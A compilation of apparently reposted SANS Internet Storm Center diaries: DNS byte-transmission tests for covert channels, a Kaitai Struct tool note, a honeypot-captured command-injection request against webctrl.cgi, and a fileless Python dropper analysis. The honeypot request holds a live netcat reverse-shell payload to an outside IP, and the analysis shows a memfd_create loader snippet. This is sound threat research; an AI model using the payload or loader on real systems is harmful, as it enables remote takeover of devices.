This post was originally published on this site

I was intrigued when Johannes talked about malware that uses BASE64 over DNS to communicate. Take a DNS request like this: label1.label2.tld. Labels in a request like this can only be composed with letters (not case-sensitive), digits and a hyphen character (-). While BASE64 is encoded with letters (uppercase and lowercase), digits and special characters + and /. And also a special padding character: =.

So when sticking to the standards, it is not possible to use BASE64 in a label. What happens when we don't stick to the standards?

So I wanted to know what byte values I could transmit over DNS when using third-party DNS infrastructure over which I have no control, like my ISP, CloudFlare, Google, …

Here is a schema:

 

In red, you have the machines I have control over: my workstation on the left, where I do the DNS queries, and my server on the Internet on the right, where I have my DNS software running (dnsresolver.py).

In blue are the servers of the DNS infrastructure I'm using, over which I have no control.

 

In a first test, I'm using the name resolution API of the OS.

My queries look like this: bytes.41.A.mydomain.com. In this example, 41 is the hexadecimal value of the byte value I'm transmitting, and A is the ASCII representation of the byte value I'm transmitting. On the other end, I have my dnsresolver.py software running with a custom function, that checks the incoming request to see if the hexadecimal value still corresponds to the ASCII value. It logs the result in a log file, and replies with 127.0.0.1 if it matches, and with NXDOMAIN if it doesn't.

Then on my workstation, I do these queries for all byte values between 0x00 and 0xFF.

On Windows using CloudFlare (1.1.1.1), I can only reliably transmit letters (uppercase and lowercase), digits, a hyphen (-) and an underscore (_).

On Windows using Google (8.8.8.8), I can only reliably digits, a hyphen (-) and an underscore (_). Letters can not be reliably transmitted, because of an anti DNS-spoofing measure: Google will change the case of letters (for example, google.com becomes GoOgLe.com). You don't see that as an enduser, but my DNS software sees it.

So in theory, I could use BASE64 in a DNS C2 channel, provided CloudFlare is used and provided I replace + and / with – and _. And provided I don't use a padding character.

On Ubuntu, I can transmit reliably all ASCII characters (0x00 – 0x7F), except 0x00 and 0x2E (.). That's for CloudFlare. Google is the same, except for letters.

So I could do even better than BASE64, since I have 126 byte values at my disposition.

All byte values between 0x80 and 0xFF fail, most of them because they get converted to punicode.

 

Second test is to use a DNS library in stead of the OS API (I use Python module dnspython/dns.resolver).

On Windows and Ubuntu, I can transmit reliably all ASCII characters (0x00 – 0x7F), except 0x2E (.). That's for CloudFlare. Google is the same, except for letters.

The reason that the library cannot transmit a dot (.), so that's request bytes.2E…mydomain.com., is that in a DNS packet, a query is a encoded as a sequence of run-length encoded labels, and dots are not represented. 

So mydomain.com. becomes:

0x08 is the length of label mydomain, 0x03 is the length of label com, and 0x00 is the length of the root label (the . at the end of mydomain.com.).

All byte values between 0x80 and 0xFF fail, most of them because they get converted to PUNICODE.

 

And as a third test, I'm going to craft and transmit my own DNS packets, so that I have full control:

On Windows and Ubuntu, I can transmit reliably all ASCII characters (0x00 – 0x7F), also 0x2E (.). That's for CloudFlare. Google is the same, except for the letters.

And I can reliably transmit all values between 0x80 and 0xFF, but my dnsresolver.py tool that uses the dnslib Python library, can not parse them. So I would need to find a DNS packet parser that handles this, or write my own. I verified that values between 0x80 and 0xFF arrive reliably, but doing a packet capture on my server.

Conclusion

All byte values (even 0x2E .) can be reliably transmitted over the CloudFlare DNS infrastructure, provided one crafts and parses their own DNS packets.

On Google, all values are accepted too, but the case of letters can change because of Google's anti-spoofing measure.

If you want to perform your own DNS tests, you can find more details on my blog post "Bytes over DNS Tools".

Next on my todo list is to perform research to detect abnormal DNS traffic like this.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

When I have a binary file to analyze, I often use tools like 010 Editor or format-bytes.py (a tool I develop). Sometimes I also use Kaitai Struct.

What I did not know, is that Kaitai Struct also has a WebIDE, that allows you to parse all kinds of binary file formats in your browser.

I learned this during a presentation of the KaiTai struct developers at Hack.lu this week.

The demo of the WebIDE starts around 17:31 in the video.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Starting yesterday, some of our honeypots received POST requests to "/cgi-bin/webctrl.cgi", attempting to exploit an OS command injection vulnerability:

POST /cgi-bin/webctrl.cgi
Host: [honeypot ip]:80
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Origin: http://[honeypot ip]:80
Dnt: 1
Connection: close
Referer: http://[honeypot ip]:80/cgi-bin/webctrl.cgi?action=pingconfig_page
Cookie: userName=admin; state=login; passWord=
Upgrade-Insecure-Requests: 1

action=pingconfig_update&pos_x=0&pos_y=0&login=3&configchanged=0&ip_address=&pingstatereloadflag=1&ipv6=1&ipaddress=;nc%2087.120.191.94%2031331%20-e/bin/sh;&count=3&size=64&start=Start

The vulnerability appears to be a "classic" OS command injection vulnerability. The "ipaddress" parameter is likely passed straight to "ping" in code like 

ping -c {count} -s {size} {ipaddress}

The count and size parameters are easy to validate as they are numbers. The ipaddress parameter is likely supposed to allow for hostnames, making validation a little bit trickier. I talked at length about OS command injection and how to prevent it in a video last year (see https://www.youtube.com/watch?v=7QDO3pZbum8 )

Identifying the exact vulnerability this request attempts to exploit is not so straightforward.

Searching the National Vulnerability Database (https://nvd.nist.gov) leads to two different vulnerabilities for "webctrl.cgi":

CVE-2021-40351: webctrl.cgi.elf on Christie Digital DWU850-GS V06.46 devices allows attackers to perform any desired action via a crafted query containing an unspecified Cookie header. Authentication bypass can be achieved by including an administrative cookie that the device does not validate.

CVE-2025-34033: An OS command injection vulnerability exists in the Blue Angel Software Suite running on embedded Linux devices via the ping_addr parameter in the webctrl.cgi script. The application fails to properly sanitize input before passing it to the system-level ping command.

The first one refers to a cookie header. We would have an "interesting" cookie header, but the exploited vulnerability appears to affect the "pingconfig_update" action, pointing to CVE-2025-34033. However, the detailed description states:

An OS command injection vulnerability exists in the Blue Angel Software Suite running on embedded Linux devices via the ping_addr parameter in the webctrl.cgi script. The application fails to properly sanitize input before passing it to the system-level ping command. An authenticated attacker can inject arbitrary commands by appending shell metacharacters to the ping_addr parameter in a crafted GET request to /cgi-bin/webctrl.cgi?action=pingtest_update. The command's output is reflected in the application's web interface, enabling attackers to view results directly. Default and backdoor credentials can be used to access the interface and exploit the issue. Successful exploitation results in arbitrary command execution as the root user.

Our attack uses the 'ipaddress' parameter, not the 'ping_addr' parameter. The NVD entry also suggests this requires a GET entry and an action set to 'pingtest_update', not a POST entry with an action of 'pingconfig_update'.

There are sadly many similar vulnerabilities. Many IoT/Router appliances have had vulnerabilities in their "ping" implementation in the past that looked exactly like what we have here. In 2019, an exploit was published for CVE-2025-34033 [1]. The vendor behind the software, 5VTech, appears to specialize in VoIP and similar equipment for Broadband networks [2].

There are two options at this point: (a) this is a new version of the CVE-2025-34033 vulnerability, or (b) the attacker messed up. Without a test device, this isn't easy to verify.

[1]https://www.exploit-db.com/exploits/46792
[2] http://www.5vtechnologies.com/

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

I found another piece of malware this weekend. This one looks more like a proof-of-concept because the second-stage payload is really "simple", but it attracted my attention because it uses a nice technique to obfuscate the code.

The dropper is a simple Python script (SHA256:e6f7afb92153561ff6c584fee1b04fb132ba984e8a28ca63708a88ebad15b939) with a low VT score of 4/62[1]. The script contains an embedded Base64 payload that, once decoded, will be executed. This second stage is an ELF file, indicating the script targets a Linux system.

What attracted my attention is the direct use of syscall()[2] instead of classic functions:

import ctypes
libc = ctypes.CDLL(None)
syscall = libc.syscall
[...]
fd = syscall(319, "", 1)
os.write(fd, content)

A full list of available syscalls is documented by many websites[3]. The syscall 319 is "memfd_create" and, as the name suggests, it allows creating a file descriptor in memory (read: without touching the filesystem). 

The Base64 payload is not very interesting, it's an ELF file (SHA256:52fc723f7e0c4202c97ac5bc2add2d1d3daa5c3f84f3d459a6a005a3ae380119) that will just encrypt files using a 1-byte XOR key:

[1] https://www.virustotal.com/gui/file/e6f7afb92153561ff6c584fee1b04fb132ba984e8a28ca63708a88ebad15b939/detection
[2] https://man7.org/linux/man-pages/man2/syscalls.2.html
[3] https://www.chromium.org/chromium-os/developer-library/reference/linux-constants/syscalls/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.